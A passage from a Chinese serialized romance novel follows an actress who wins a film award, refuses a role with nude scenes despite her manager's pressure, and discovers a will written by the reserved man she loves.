她心里暗笑,眼睛神采奕奕,邹城被她盯得发毛,侧头和身边人说话,不敢去看她。
蒋文君拍拍她的手背。
两位主持人陆续登场,颁奖典礼拉开序幕。
夏焰怎么也没想到,居然会被近乡情怯般的紧张扼住喉咙,有些畏惧,害怕辜负她的热情而惶恐不安。
她的心脏跳,跳,跳。
眼睛眨呀眨,台上的白光在她的眼里一闪一闪。
世界都安静下来。
颁奖人话音刚落,耳边突然爆开欢呼和尖叫。
导演在笑。
她也学她
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咧嘴大笑。
邹城在鼓掌。
她也跟着他的动作击掌。
有人在用力摇晃她的肩膀,在她的耳边大喊大叫。
她什么也听不到。
“夏焰!”
“起身呀!”
导演抓着她的胳膊撑她起身,夏焰脚踩在台阶上,没有实感。
一节节向上的台阶。
预示着她的职业生涯也将这般,步步高升,走到最耀眼的位置。
夏焰握住金灿灿的奖杯,动作从容不迫,她发出的每一个音,脸上的每一个微表情都恰到好处,熟练得像是排练了上百次。
“我想先感谢导演……”她的声音哽咽,“感谢坚持要我参演这部电影的人。”
她不记得是怎样结束发言,只记得发言结束台下再次响起掌声。
掌声轰动,喜悦,不甘,挫败……领奖台下暗流涌动,所有人浸泡在情绪的河流里,混杂在一起,卷起旋涡,为了掩盖脚底的慌乱,只好更用力地鼓掌叫好,从胸口拍出一股气,喉咙里放出真真假假的尖叫,视线聚焦在河流的源头。
而源头在她。
国内很重视这个奖项,距离上一次华人获奖已经过去整整二十年。
夏焰一夜之间身价飞涨,所有的媒体都争相报道,工作邀约呈爆炸式增长,如今的热度不同往日,早已不可同日而语。
当天上午还是名不经传的童星小演员,傍晚领奖台前一站,就成了名声响彻中外的新晋影后。
“夏焰老师,您拿奖后的第一反应是什么?”
“这么年轻就拿到了影后,现在是什么心情?”
刺眼的白光疯狂闪烁,夏焰没有面对这么多媒体镜头的经验,她只能强做镇定。
她微笑着看向镜头:“第一反应?我想可能是松了一口气,没有辜负导演的信任,也没有辜负一直支持我,
还有爱我的人。”
夏焰在工作人员的帮助下挤出层层包围。
离开时,高跟鞋不偏不倚踩到一块未干的水泥砖上,一个印记赫然成型。
电影节主办方慷慨一笑,表示愿意将这块印着年轻影后足迹的砖头留作纪念,保存下来。
她错愕的表情被镜头拍下。
网友纷纷留言:这姑娘一看就藏不住事,一点都不做作。(大拇指)
毫不做作的夏焰正坐在酒店的床上来回扣着睡衣上的纽扣。
这天凌晨,她拨通了一个越洋电话。
电话那头呼吸沉重,在等她先说话。
“你有看直播吗?”
“……我刚刚在工作。”
夏焰皱眉瞪眼,仿佛他就在跟前。
“你看没看嘛!”
电话那头屏气凝神,过了几秒终于出声。
他说:“恭喜。”
夏焰微笑着向后仰,倒在床上,陷进柔软的床垫里,她有些困意,抬眼看向平板,屏幕里的爱丽丝正在花园里提着油漆桶粉刷玫瑰花。
她闻到带着刺鼻油漆味的花香。
很久没说话,电话那头的人以为她挂断了,轻声询问:
“还在吗?”
夏焰闭着眼,手机打开扩音,放在一边。
她凑近话筒,说:
“我爱你。”
43. 都是大补之物
夏焰的海报一夜之间铺满商场外墙,占据整个商圈最豪华的地段,最显眼的地方。
在林砚之每天上班的路上。
他开车经过,一天总要隔着车窗来来回回见她几次。
红色的长裙落地,他在不知不觉间已经走到广告牌前,离得太近了,火焰红的裙摆浪花般涌出,穿透玻璃盖住他的鞋尖。
林砚之低头看去,只能看见焰火的裙摆,他试探着向前走,裙摆却悄然后退,他心头一动,穷追不舍,亦步亦趋地紧跟着走。
直到他的鞋尖碰到藏在裙摆里的脚踝。
他呼吸骤停。
耳边传来对面人的低语。
“你怎么了?”
林砚之缓缓抬头,夏焰正满脸担忧地看着她,眼睛里充满关心。
他摇摇头,轻轻耸肩,故作轻松:“没事。”
夏焰只当他工作太累,不再深究。
转头叫服务员多加了几道菜。
“再要一个鲍鱼炖人参,这个红参鹿茸汤好喝还是这个灵芝松茸鸡汤好喝?有一个人参了噢,那就要这个鸡汤吧。”
她低头用手指指着菜单,认真地点菜,一定要让林砚之补补身体。
林砚之干咳两声,夏焰立即招手唤来服务员给他添水,他拿起茶杯喝茶,苦涩的茶水刚一入口就裹挟着舌头,霸道地占满口腔,他下意识皱眉,缓缓放下茶杯。
“好啦,先这些吧。”她正准备合上菜单,眼睛瞄到菜单一角,过分惊喜,“咦,生蚝龙骨汤!”
林砚之猛地拉住她的手,轻声劝阻:“够了吧,不是还点了鸡汤了吗?”
夏焰抿嘴笑着,大大的眼睛望着他不说话,林砚之心头一软,默默收回了手。
“那就把这个换成炒菜吧。”
夏焰反手攥住他的手,紧紧勾住他的手指。
另一只手把菜单递给服务员:“就这些吧。”
服务员拿着菜单离开了。
夏焰转头看向林砚之:
“你最近工作很累吗?”
她拉着他的手轻轻晃动,像是好久不见的小朋友在表达思念。
太近了。
林砚之感觉手心在出汗,他的脚踝紧贴着夏焰的脚踝,她的裙子恰好落在他的裤脚,尽管隔着一层衣料,他仍然能感受到她裙子的质感。
滑溜溜的丝绸。
惹得他心头一颤。
“你怎么啦?很热吗?手心都出汗了。”
夏焰拉着他的手,手指轻抚他的掌心,她的手指沾染他掌心的热汗。
林砚之摇摇头:“我喝点水。”
借机收回她牵着的手,拿起茶杯,仰头一饮而尽。
喉头滚动,苦涩的茶水让舌头发苦,他再也控制不住表情,深深皱起眉头。
夏焰不自觉地学他皱眉,随后察觉到自己的动作,一愣,笑出声来。
“是不是很苦?”
林砚之又摇头:“还好。”
他捏捏鼻梁,然后低头盯着盘子。
夏焰撑着脸一言不发,看向他的鼻尖,直挺的鼻梁在头顶暖光的小灯下更加突出,让人想要伸出食指顺着他的鼻梁滑动,滑到他的嘴唇上。
夏焰的小拇指划过温热的嘴唇,放到桌上,摸到桌上的餐具。
银器餐盘冰凉的金属质感让她重回那个夜晚,她正握着金属奖杯,双手颤抖,在观众席里寻找他的眼睛。
没有找到。
正如他们此时此刻面对面坐在一起,也没有找到他的眼睛。
她有些哀伤地叹气。
林砚之抬头望她:“怎么了?”
夏焰深呼吸驱赶内心阴霾。
“没什么,就是感到好不可思议。”
她笑:“我居然真的拿奖了。”
林砚之笑了,是发自内心的笑,连带着眼睛一起笑。
他说:“你一直都很棒。”
夏焰怔住,陡然失神。
“我?”
林砚之唯恐她不相信,继续说:“是啊,你……”
她却毫不留情截断他的话:
“那我们呢?”
包房外突然传来盘子落地的破裂声,夹杂着小孩子揪心的哭喊声,还有路人在拉扯争执,唯独屋内无声无息。
在长久的沉默里她忽然出现一种自毁心理。
摔碎的盘子不应该堆在门外,应该出现在她的手边。
锋利的瓷片划开她的血管,迫不及待地想看到眼前沉默的男人惊慌失措,最好再抱头痛哭,往后余生都要追悔莫及。
她这样胡乱地想着,鼻腔里发出一声嗤笑:
“很难说吗?”
笑意还冻结在他的脸上,只等夏焰向他轻吹一口气,一切都会烟消云散,灰飞烟灭。
他的眼神复杂,那一杯苦茶浸透他的胸腔,每一声喘息都带着苦涩。
“算了。当我没问。”
光滑的瓷盘像是铜镜照出她的轮廓。
敲门声响起,服务员端着盘子推门进来。
“吃饭吧。”
夏焰的声音哽咽,低头掩盖她的情绪。
“这是您二位点的灵芝松茸鸡汤,鸡肉鲜美可口,我来为大家盛汤。”
服务员拿过夏焰的面前的瓷碗。
她的眼泪无处安放,洇湿了淡黄的桌布,留下浓重的痕迹。
在她的余光里,林砚之猝不及防地慌乱起身,一旁的服务员满脸惊愕愣在原地。
“抱歉。”
她推开椅子,低头跑出包间,最后一滴眼泪在她动荡的步伐里飞出,砸向林砚之的手背,一只迷失方向的小燕向他莽撞冲来,狠狠一啄,叫他刺痛。
那夜的冷风寒冷刺骨,吹了整整一月。
车道两旁开始挂上大红灯笼。
夏焰正要坐车前往机场,去巴黎拍摄广告。
她接到母亲的电话。
“妈妈?”
“在忙吗?”
“没有呢,在车上。”
路灯上的灯笼在大风里剧烈晃荡,摇摇欲坠,夏焰看得心揪,害怕它会掉下来砸破车窗。
“噢噢,也没什么事,就是你姥姥想你了,问你过年要不要回家?”
夏焰说:“……还没安排好呢,确定了我就打电话回来。”
“好吧,没什么事了,注意身体。”
“好。妈妈再见。”
电话挂断了,夏焰点进通话记录翻找,这次的通话时长有四十秒,符合平均时长。
她把手机揣进口袋,闭目养神。
接连不断的工作让她疲惫不堪,但工作内容却远比在剧组时轻松。
夏焰需要在巴黎拍摄一支口红广告。
巴黎歌剧院灯壁辉煌,鎏金廊柱熠熠生辉,穹顶吊灯流光溢彩,红丝绒幕布挂在两侧,镜头拉近再缩小,红幕布变成夏焰唇上的口红。
她侧身坐在梳妆台前,手指捏住一支复古外观的口红,慢慢旋转膏体,嘴巴微张,留下一抹哑光的红。
夏焰直视镜头微微一笑,明艳又张扬,坐在百年剧院中,也毫不
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逊色,满室流光都成了陪衬。
“好!”
这支广告被投放到各个平台的开屏第一页,夏焰手一抖,就跳转到购买页面,她心情复杂地点击退出。
这支口红的品牌方在一众官方邀约中脱颖而出,公司提前做了详尽背调,正是看中品牌成熟高端的风格特性,希望能帮她彻底洗去童星影子,拓宽戏路。
广告播出反响很好,她的风评扭转,观众对有实绩有作品的演员宽容许多。
“有啥意思?还不是攀老头,走后门?”
虽然不乏也有这样的评论,但总有人帮她反驳。
“哦哟哦哟老头这么厉害这辈子怎么没给自己整个这个奖?给女演员造黄谣,我看你是皮炎不保,其实自己爱老头爱的不得了。”
夏焰憋着笑悄悄给她点个赞。
她微博的粉丝量剧增,以前的作品重新进入大众视野中,甚至还翻出她一岁时在姥姥主演的电影里客串,穿着尿不湿,站都站不稳,在姥姥怀里咿咿呀呀。
“老天!咋这么萌!”
“我就要这个么么么。”
因她获奖才关注的人,在她电影评论区里大呼错过太多;一路关注她的人,像买到一支潜力股,无比骄傲与自豪。
蒋文君的电影获奖向来是众望所归,夏焰却是爆冷突围,谁也没想到她会打败今年最热影后候选人,一举打破同龄女星的格局,横空出世,势头迅猛。
工作邀约不断,公司正在为她筛选下一部电影,沈盛也在主动出击,向那些还在观望的导演们发去她的试镜片段,全力为她争取角色。
夏焰看着身边人打得火热,自己像是隔岸观火,这一切对她来说都像雾里看花看不真切。
这些不真实的感觉只展现在眼前,并没有真正进入她的大脑神经令她波动。
品牌方送来的鲜花礼物堆满桌子,新鲜的花瓣上还凝着水珠,她闻不到一丝香气。
房间里没有开灯,只有手机屏幕亮着荧光,停在她和林砚之的聊天界面。
那天过后两人并非一刀两断,却也只剩相顾无言。
林砚之还是那副自持稳重的样子。
“你到家了吗?”
“到家给我发个消息好吗?”
夏焰哭着把手机丢到一边,不敢相信他为什么还能若无其事地发来短信。
她不回消息,林砚之的电话就响个不停,她索性把手机彻底关机。
哭累了,她就趴在床上昏昏睡去,敲门声突兀响起,是外卖员。他抬头扫了眼她通红的眼睛,低头在手机上点了确认。
她拎着外卖进屋,是一碗鸡汤面,冒着热气,还烫手。
重新开机,无数条消息弹出,林砚之的信息仍然在最顶端:
“吃点东西吧。”
明明什么都不敢提,什么都不敢认,偏偏还要这般不动声色地关心,怎么能让她真的不在意。
她的手放在胸前,感受到手机的震动。
是沈盛的电话。
“焰焰你知道我们联系上谁了吗?”她的声音难掩激动,“香港导演梁俊生!”
语气里还裹着几分醉意,背景嘈杂得辨不清地点,语速快得像在倒豆子,“他要拍一部带隐喻的片子,刚好看了你的获奖视频,指名要尽快和你见面!这部电影能冲击国际奖项,公司打算直接推你走国际路线!”
夏焰猛地坐起身来,还没来得及应声,沈盛的语速陡然放慢,每一个字都掷地有声,要她每一个字都认真听进去:“只是……片子里有裸露戏份。”
44. 夏焰生来就要做演员
“裸露戏份?”夏焰的声音带着刚哭过的沙哑,却异常冷静,方才的茫然瞬间褪去。
沈盛在那头连忙补充:“是隐喻语言,不是噱头,梁导说会拍得极具艺术感,后期也会做处理……”
“很多人都在跟他联络,希望能给个机会。”
“公司说你的热度决不能断,这部电影冲奖概率大,还有巨大的曝光。”
她的声音像魔鬼一般穿透声筒,引诱着夏焰做出决定。
手机紧贴在耳边,她的心好慌,心跳很快,几乎要跳出喉咙。
“夏焰,机会难得。”
她还在电话那头反反复复说着什么“艺术”,什么“牺牲”,仿佛是无比光荣的战争,是她千难万险才得到的机会。
机不可失失不再来。
任谁都知道是一场豪赌,拿着她的所有去赌。
夏焰的耳边只剩下自己心跳声,听的久了才发现是一声声叹息,像心跳一样早已和她融入一体。
她咧嘴笑起来,想盖过悲哀的叹息。
她对着电话那头说:“好吧,让我看看剧本。”
……
“夏焰这孩子从小就敏感,有演员的想象力,她小时候过家家,给洋娃娃听诊,能在布料上摸出心跳来。”
面对镜头,夏爱莲谈及孙女夏焰,向来如数家珍。
“那会儿她才四岁,总爱模仿动画片里的桥段,叫她妈妈来看她。她最希望被人看见。”
她说:“夏焰天生就要做演员。”
“她的电影很快就要和大家见面,希望大家都来看她。”
夏爱莲息影多年久未露面,今日为夏焰的电影现身大众视野,只为替她多添几分热度。
夏焰的演技早已获业内人士认可,能否征服观众,就看今天,最关键的时刻,电影国内首映。
从一线城市的连锁影院,到小城县城的街边小影厅,到处都有这部电影的排片;不少影迷抢了最早场次,想要先睹为快,也有部分人仍在持观望态度。
而夏焰本人,正静静地坐在影院里,再一次回看自己的作品。
随着一段钢琴声响起,电影拉开序幕。蝴蝶扇动它金黄色的翅膀在阳光下翩翩起舞,如梦如幻,它穿过花丛,停留在一朵月季花上,突然被一双小手抓住,拢在手心,荧幕变黑,下一秒电影名字缓缓出现。
《如真如梦》
极为秀丽的字体。
镜头一转,如真出现在大屏幕里。
拍摄时并未按照电影故事顺序拍摄,是跳拍完成,但夏焰对每一个镜头都熟稔于心,如真的台词时隔多日她仍能脱口而出。
她看着她沉醉在花园里,陶醉在情人的爱抚里,在母亲的呼喊声里猛然惊醒,坐上离家的船,驶向大洋彼岸。
她在那片土地上欢喜雀跃,又在那片土地上暗自神伤。
她早已不是她,此刻只能做萦绕在她身边不肯离去的黄蝴蝶,守着她哭,看着她笑,没法给她拥抱,徒留无计可施的绝望。
电影的结尾,最后残忍地定格在她痛苦流泪的眼睛里。
夏焰有些不安,她注意到自己黑眼瞳下的窄白,心瞬间提了起来。好在没听到周围观众发出嫌弃的声音,他们都沉浸在电影的世界里。
荧幕忽地变暗,钢琴曲应声而起,节奏愈演愈烈,直至高潮,下一秒音调却毫无预兆地下降,戛然而止。
所有人听到一声呼唤:
“如真。”
片尾曲继续,是刚才那段钢琴曲的倒带,化不开的惆怅惘然。
夏焰的名字出现在大荧幕上。
紧接着是电影所有主创人员的名字。
大家付出了一千分的努力。
电影结束,影院灯光亮起,一片通明。
所有人怅然若失,还没从电影里缓过神来。
“像是做了个好长的梦。”
“最后那个声音是妈妈吗?”
“如真真的醒来了吗?”
“细思极恐啊啊啊。”
“我有点起鸡皮疙瘩了。”
“最后到底真的还是梦?”
“朋友,电影名不是告诉你了吗?”
《如真如梦》第一场结束,反响很好,积攒不少口碑,带动了后续票房发展。
夏焰站在观众和镜头前接受提问。
工作人员随机指到一位戴眼镜的姑娘,她拿过话筒,微微躬身。
“各位主创老师们好,我想问夏焰老师一个问题。”
夏焰被提到名字,向前走近两步。
对方继续说:“电影刚刚结束,想必大家和我一样都有一些疑惑,包括网上也出现很多关于电影列举的争论,大家都在讨论真假,那么您在诠释角色时,有没有给自己一个确定的答案,如真的结局到底是真还是梦?”
夏焰耐心等待她说完,举起话筒在嘴边,她笑着说:“当我进入剧组的第一天,一切思想和行为都是如真在操控。”
观众跟着她笑。
“我只有尽力去演绎她的人生,至于是梦还是真,只有如真知道。或许,她也不清楚真假,她只是在体验每一个瞬间。”
“作为演员,有机会和各位观众朋友一起讨论这个故事,一起来解读我饰演的角色,我认为这也是难得可贵的瞬间。”
“无论梦与真,我都私心想要她走向下一个幸福的瞬间。”
夏焰的眼睛泛红,说到最后竟有些哽咽,电影杀青已经过去很久,她才第一次真正抽离角色,和如真告别。
她曾给予她无数痛苦的夜晚,也给予她无上的荣光。
多少次在月下彷徨迷茫,遥远的月是否能真的看清她的泪光。
再一次,在月光里落泪,泪水滴落在一沓厚厚的剧本上。
这几天里她不停地翻看剧本,一边看一边哭。
她害怕呀,即使她最想要的东西就放在那里,唾手可得,她也没法坦然地脱下衣服趟过污泥。
夏焰给妈妈拨通电话,是求助也是求救。
她擦干眼泪:“妈妈,是我。”
“怎么了焰焰?”
“妈妈,我拿到了新剧本,是一个很厉害的大导演。但是他说……”
“焰焰,妈妈相信你。”
夏焰被倒吊在窗外,只有一只脚堪堪勾在窗边,血液逆流而上向大脑袭来,她的眼前泛着黑点,风吹开她的衣摆。她的胸膛剧烈起伏,下面就是万丈高楼,稍不留神摔下去就是粉身碎骨。
她拼尽全力地呼喊,可是屋里没
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人。
退无可退,她自毁的心理再次作祟,破土而出,势不可挡,她最后一次深呼吸,曲腿泄力,直直坠落。
失重的感觉让林砚之惊醒。
他靠在书房的椅子上睡着了。
醒来惊出一身冷汗。
桌上叠放着两张电影票。
他抬起左手,发现早已经过了电影时间。
两张“过期”的电影票被他收进抽屉。
他起身抹把脸,走出书房,刚才心悸的感觉还没消散。
林砚之走到客厅,拿过茶几上的杯子想要去接水,路过茶几突然停下脚步,桌上凭空出现了一份文件。
林砚之打开灯,发现文件封面上印着一个泥巴爪印。
他放下水杯,拿起文件,很有重量,边缘有些磨损,不知道被翻看多少遍。
打开第一页,原来是一份剧本。
夏焰头痛欲裂,一觉睡到第二天下午。
直到保姆阿姨敲响她的房门。
“焰焰,有人送东西来给你。”
“马上来。”
夏焰蹬开被子,翻身下床。
打开门,阿姨递来一个文件夹。
夏焰心下一惊,手指颤抖着接过,打开。
剧本被原封不动地送回来了。
还有什么不敢相信的呢?
她怎么送去的,他就怎样还回来。
原来是她会错了意。
巨大的失落如潮水般将她淹没,她的喉咙哽住,指尖死死攥着剧本边缘,满心期许瞬间碎成粉末。
究竟是“相信她”,还是“不关他的事”?她都一无所知。
夏焰踉跄着后退,鼻尖一酸,眼泪毫无预兆地砸在剧本封皮上,眼泪汹涌而出,身体软得几乎站不住,满心的不甘与绝望要占据她的灵魂深处。
“焰焰?你怎么了?”
门外传来阿姨的关心。
“我没事。”夏焰伸手胡乱抹去脸上的泪水。
她靠在门板上,滑落身体,坐在地上。
呆呆地望向她的双手。
不知道在什么时候蹭上了墨水。
她从不用钢笔。
什么时候蹭到的?
甚至还湿润着,沾有她的眼泪。
她突然想到了什么,再次翻开剧本。
她的眼泪流过打印下来的文字,没有掀起任何波澜,它们留在原地安之若素。
只有最底下的两行黑字被她的眼泪砸乱,四分五裂,墨迹蜿蜒流过她的手心,占有她的掌纹。
我知道这次机会难得。
戏服易脱难回,怕你后悔委屈,你年纪小,还有很多机会。我已荐你资料给另一导演,他盼与你详谈,联系方式一同附后。
夏焰在最后一页找到了一张名片。
她站起身来,碰灭了开关,房间一片昏暗。
“你的灯亮了一夜,我真怕你猝死。”
尼莫趴在珊瑚床上,一动不动地盯着林砚之,怕他心梗摔倒。
林砚之稳步走近鱼缸,低头为尼莫添食,灯光落在他的头顶发梢,尼莫的鱼眼被金光闪过,它游到鱼缸壁前,透过玻璃仔细辨认。
它的眼里满是惊讶:“老兄,你怎么有了白头发?”
45. 他的遗书
“什么意思?你不喜欢这个剧本吗?”沈盛眼睛盯着夏焰,讪笑着拿起桌上的剧本。
夏焰坦然地点点头:“我想好了,虽然这次机会难得,但是想要证明自己也不应该走捷径,答应潜规则是种捷径,脱掉衣服也是。”
“况且......我并不是很喜欢这个故事,用大尺度戏份来进行政治隐喻,把女人的身体放在镜头下当做客体进行观看,这本身就不是艺术,所以我......”
剧本里面直接大胆的描写令她心惊胆战,她没从中看出艺术,只有满纸低俗。
她第一次看剧本时就是这个感觉,但在身边人的劝说中摇摆不定,直到林砚之出现。
沈盛露出不屑的眼神打断她的话:“你的意思是你比香港大导演还要厉害?你比他更懂电影?更懂艺术?”
夏焰被她突如其来的怒气吓一跳:“你怎么了?”
沈盛深呼吸,仿佛用尽耐心,把夏焰当做没法沟通的孩子,她天真的理想让她发笑。
沈盛短暂地停顿过后立即大声地呵斥:
“哪个出名的女演员没演过妓女?怎么她们就能演绎各种角色,到了你就要挑三拣四?”
“这不一样!”她反驳道,“我愿意尝试各种角色,但不是用裸露的身体作为噱头。在这个剧本里我根本没看出角色有任何魅力,除了描写详细的大尺度戏份,有用什么重点笔墨刻画她吗?”
提到工作相关,夏焰就变得伶牙俐齿,有理有据地反驳沈盛。
沈盛侧头看她,仍是不解:“你不是想要转型吗?拍了这个就彻底撕掉武打演员童星的标签了啊!”
“如果我接下这部戏,观众提起我就不再是武打演员,童星,也决不会是那个为了饰演如真呕心沥血耗尽所有的夏焰!再提起我就是那段大尺度戏!甚至连角色的名字都不知道,被单独截出来放在各个不知名网站上,带着低俗露骨的标题!搜索我的名字出来的不再是站在花园里的如真,是两团白花花,令人作呕的□□。”
“再提起我不会再夸我演技好,而是说我牺牲好大!”
“电影发展至今一百多年,这样的事情难道还少见吗?”
她瞪大了眼睛,眼底的窄白显得她前所未有的坚定。
夏焰早就懂得这一切,可年轻的灵魂在人生的旅途中总是受到各种引诱,使她不小心偏离正路。
她只有不停地说,才能不停地思考,她感谢林砚之拉了她一把,让她回过神来,低头一看才发现自己正站在茫茫迷雾中,一只脚马上要踩进沼泽地。
“我要清清白白地走接下来的路,我还年轻,还有很多机会。”
夏焰不躲闪沈盛的目光,直直地迎上去,仰起她年轻又倔强的脸。
沈盛被她的话惊到,一瞬间地愣神,一直跟随她的小羊居然发出异议与反抗,她恼羞成怒道:“清清白白?干干净净?这个圈子本来就不干净!”
“我在脏水里替你摸爬滚打了这么多年,现在你终于踩着我的背够到岸边了,想把自己清清白白摘出去,一点泥巴都不沾?”
“你拿了奖就觉得自己了不起了是不是?不需要我了是不是?”
她近乎癫狂,面部表情狰狞,声色俱厉。
仿佛夏焰背叛了她,背叛了她们最初的誓言。
“不是的。”夏焰的声音怯懦,不想让面前的女人伤心。
“你以为奖杯是你一个人的吗?”沈盛朝着夏焰一步步逼近,狠狠瞪着夏焰,目眦欲裂,一双黑色眼瞳在她的眼里越发可怖,“公司早就想放弃你了,是我一次次签保证书,对各个导演点头哈腰才找来的一次次机会。”
她用手指点在夏焰胸口,一下,一下,要戳穿夏焰的心脏,眼神里透出悲哀:
“我实话告诉你,公司已经给你安排了新的经纪人。”
她垂下手,低头看向地面,不去看夏焰的表情。
“我不可能蠢到最后什么都捞不着,下家我已经找好了,你接下的这个工作相当于是我的投名状。”
沈盛把剧本塞到夏焰手中,仰脸哀求道:
“算姐求你行不行啊,你是我带的第一个艺人,我把你当亲生孩子照顾那么多年,你妈妈都不如我了解你,不如我关心你。你这些乱七八糟的荒唐事除了我谁会相信?哪个不是我帮你处理的?这些年就算没有功劳也有苦劳吧?啊?”
她用力抓着夏焰的肩膀。
“最后一部电影结束,我们也算好聚好散。”
厚重的剧本重新回到夏焰手上,是甩不掉的粘牙糖,是永远无法摆脱托的噩梦。
屋子里安静极了,连呼吸声都听不见,那只黄蝴蝶又悄然出现。
它静静地趴在沈盛肩头,和夏焰遥遥相望。
飞出窗外之前,蝴蝶在她们二人之间久久环绕,两人挨得极近,它却飞了好久好久,不过最后还是振翅而去。
夏焰做不到若无其事地离开,离开沈盛,钝痛感在四肢百骸弥漫开来。
她代替母亲照顾她很久,久到她以为她们不会分开。
“你不要后悔。”
夏焰握紧门把手,听她近乎怨恨地说完最后一句话。
夏焰头也不回地说:“如果接下那部电影,才是真的没法后悔。”
她不希望这就是她们之间的结局,一条无法修复的巨大裂缝在她们之间出现。
夏焰不甘心如此,她还是尽量修补:“我会在你离开之前进组。”
说完,夏焰匆匆离开了她年轻的“母亲”,亦或是“母亲”先把她从身边甩掉。
人的一生中总是在寻找母亲,离开了母亲也要寻找类似的爱,无私的爱,无解的爱。
她再一次出现在林砚之的家门口。
风尘仆仆。
她没等来林砚之,先等来摇着尾巴的豆豆。它叼着胡萝卜玩具走到夏焰跟前,在她的风衣下摆来回嗅闻。
不懂好朋友的味道怎么出现在面前这个女人身上。
夏焰蹲下身,用力揉搓它毛茸茸的脑袋,轻抵它的额头。
豆豆的眼睛在她脸上滴溜溜地转,确认再三,最后把玩具一扔扑进她的怀里:“我好想你呀。”
夏焰紧紧抱住它的身体,暖呼呼的小狗给她温暖,她用脸轻蹭它的耳朵:“我也很想你。”
楼梯口风吹得很冷,夏焰想要带着豆豆往里走,余光里出现熟悉的黑色大衣。
她抬起头来,看向许久未见的林砚之。
他搓着手指,在离她几步远处停下脚步,望着她一言不发。
夏焰也欲言又止,不知道怎么开口。
他看向她露在外面被冻红的双手,说:“这里很冷,进屋吧。”
夏焰起身却被豆豆拉住胳膊,它吐着舌头在她耳边悄悄说:“他也很想你。”
豆豆捂着嘴乐开花,在他们俩身边又蹦又跳,然后一不小心踩到胡萝卜玩具摔倒。
它又是自己偷偷跑出来,现在门关了没法回家,夏焰只好把它带进屋里。
屋内没开空调,比站在楼道里没好多少。
夏焰腿肚子发抖,豆豆牙齿也在打寒颤。
林砚之打开空调给夏焰拿了一条毯子让她盖在腿上。
又给豆豆找出来一件夏焰小狗时候穿的小马甲。
马甲在豆豆身上有点小了,夏焰和林砚之两个人拉着它的爪子用力才把它塞进去。
它倒是满意的很,肥嘟嘟的到处跑。一会儿捞捞鱼,一会摘摘花。
尼莫嫌它烦,叫它上其他屋去玩。
夏焰坐在沙发上看林砚之忙前忙后心里油然而生一种安全感。
他在厨房不知道做什么,夏焰不声不响出现在他身后。
林砚之手里的玻璃杯差点失手打碎,夏焰眼疾手快地稳住他的手,没让杯子掉下。
他把杯子递给夏焰,是一杯热牛奶。
捧在手心热乎乎的。
夏焰把牛奶杯捧到嘴边,轻轻吹气,抬眼看他:“谢谢。”
杯中的热气腾腾升起,裹着甜腥直往她鼻
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子里面钻。
林砚之没说话,只是摇摇头,目光落在她身上从头到脚,像是在确定眼前人是否真的完好无损。
“你去坐着吧看会儿电视。”
他转过身去继续收拾东西。
夏焰刚坐到沙发上就听见书房里的小狗在骂骂咧咧。
豆豆咬着玩具,跛着脚一瘸一拐地从书房走出来。
“你怎么了?”夏焰伸头看它。
“哎呦我脚上沾到这个纸,甩!都!甩!不!掉!”
它甩动后腿,那张纸像涂满了胶水稳稳粘在它爪子上。
豆豆哼哼唧唧委屈地要夏焰帮忙。
夏焰笑着过去,蹲下抓住豆豆的爪子:“你是不是汗脚,啊?把纸都粘住了。”
她扯下那张纸,豆豆把脚踩在夏焰膝盖上,灰色的裤子上立即出现一个小爪印。
“啊!你果然是!”
“嘘!”豆豆着急忙慌地去捂她的嘴。
“呸呸呸,小臭脚别往我嘴上放。”
“哪里臭!每天我都会洗脚,不臭!不臭!”
夏焰撑开那张纸去挡豆豆的爪子,没能撑住一分钟就裂开。
“哦不。”
豆豆立刻乖乖坐好,爪子放回身前。
夏焰的目光越过豆豆飘向厨房,厨房没开灯,林砚之背对着她站在洗碗池前,衬衫袖口挽到小臂,露出一截手臂。水声淅淅沥沥,他的手臂绷紧,稳稳拿着盘子。
她收回视线,将两手捏着的纸合在一起,仔细辨认上面的字。
和那份剧本一样,同样黑色的标题。
写着“遗嘱”二字。
豆豆疑惑她手臂的颤抖,歪着头拉过她的手:“你怎么啦?我们把这个放回原位吧,别被他发现噜。”
“你!”夏焰推开豆豆的爪子,猛地转身,声音里带着悲愤。
林砚之不知何时出现在厨房门口,他腹前的衣服沾着水迹,面色惨白,死死盯着她手里的半截纸。
他长腿一迈,走到跟前,一把抢过她捏在手里的纸,攥在手里眼睛瞪得通红,还在极力压制着情绪。
“这是什么?”夏焰强撑着站直身体,质问他,“你要死了吗?”
豆豆察觉到天气突然转阴,在低气压笼罩它之前连忙躲进书房。
林砚之不语,他唇下的痣赤裸裸地出现在夏焰眼前。夏焰上前拽他手里的那截纸,指尖刚刚碰到边缘,林砚之反握住她的手腕,力度大到让她惊痛。
痛苦的呻吟从嘴角溢出。
林砚之骤然松开手,他别过脸,躲开她的目光。
深呼吸才勉强恢复平静:“我出去买菜,家里没菜了。”
他声音嘶哑,说完便抓起玄关处的大衣,逃也似的离开这里,离开她身边。
夏焰僵在原地,眼睁睁地看他从身边离开,她握住那只还隐隐作痛的手腕。
书房的门悄悄打开一条缝,豆豆挤出它的圆脑袋,它听到外面没声了又从书房里钻出来,小心翼翼地对她说:“我们还是放回来吧,他好像生气了。”
夏焰没有听它的话,反而走进书房弯腰捡起掉在地上的文件袋,一股脑地倒出里面的文件。
“哎呀不要看了吧……”豆豆犹豫着扒在夏焰脚边,“好吧那我也看看。”
她从中抽出一封信,没有署名,但她认得那是谁的字,她无数个日夜都坐在书桌前看他落笔写字。
是林砚之写给肖旸旸的。
夏焰展开信纸,熟悉的字迹映入眼帘,只有短短两句话,
她重情重义,不要扰她心绪,惹她难过。
名下信托,归她所有。
豆豆看不懂纸上的字,只知道桌上的牛奶要凉了。它偷偷把脸藏起来,用舌头舔着杯沿的牛奶。
林砚之离开没多久,有人“笃笃”敲响了大门。
豆豆吓得一激灵,牛奶被它失手打翻在地。
门外传来激烈的拍打声:
“夏焰!开门!我知道你在!”
46. 爱如潮水
“夏焰!开门!”
强有力的敲门声透过大门拍打在夏焰胸口,阵阵闷痛。
夏焰抱着豆豆蹲在门前,任由门外人如何敲打,她们都没有回应。
“小燕,我怕。”豆豆把小脸挤进夏焰的风衣,两只爪子也在使劲,抓着夏焰的衣领,想把整个身体都塞进去。
夏焰兜住它的屁股,小声安抚它:“没事的,不怕。”
门外人还用力地拍打,门板发出震颤,把门外人一部分声音隔绝在外,但只需一分,就能感受到门外人的愤怒。
她抱着豆豆起身,蹑手蹑脚地走进书房,反手将门锁上。
豆豆从她怀中跳下,像个无头苍蝇一样到处乱窜,想要找到一个可以藏身的地方。
“这里!”它忽然钻进林砚之的书桌底下,推开椅子,朝夏焰招手。
